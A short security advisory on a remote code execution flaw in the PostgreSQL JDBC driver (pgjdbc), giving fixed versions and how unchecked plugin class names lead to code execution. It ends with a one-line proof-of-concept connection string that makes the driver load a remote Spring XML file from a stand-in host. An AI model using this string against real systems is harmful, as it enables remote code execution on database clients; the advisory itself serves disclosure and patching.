How to fix?

Upgrade org.postgresql:postgresql to version 42.2.25, 42.3.2 or higher.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when using certain plugin features. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, and sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

PoC

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
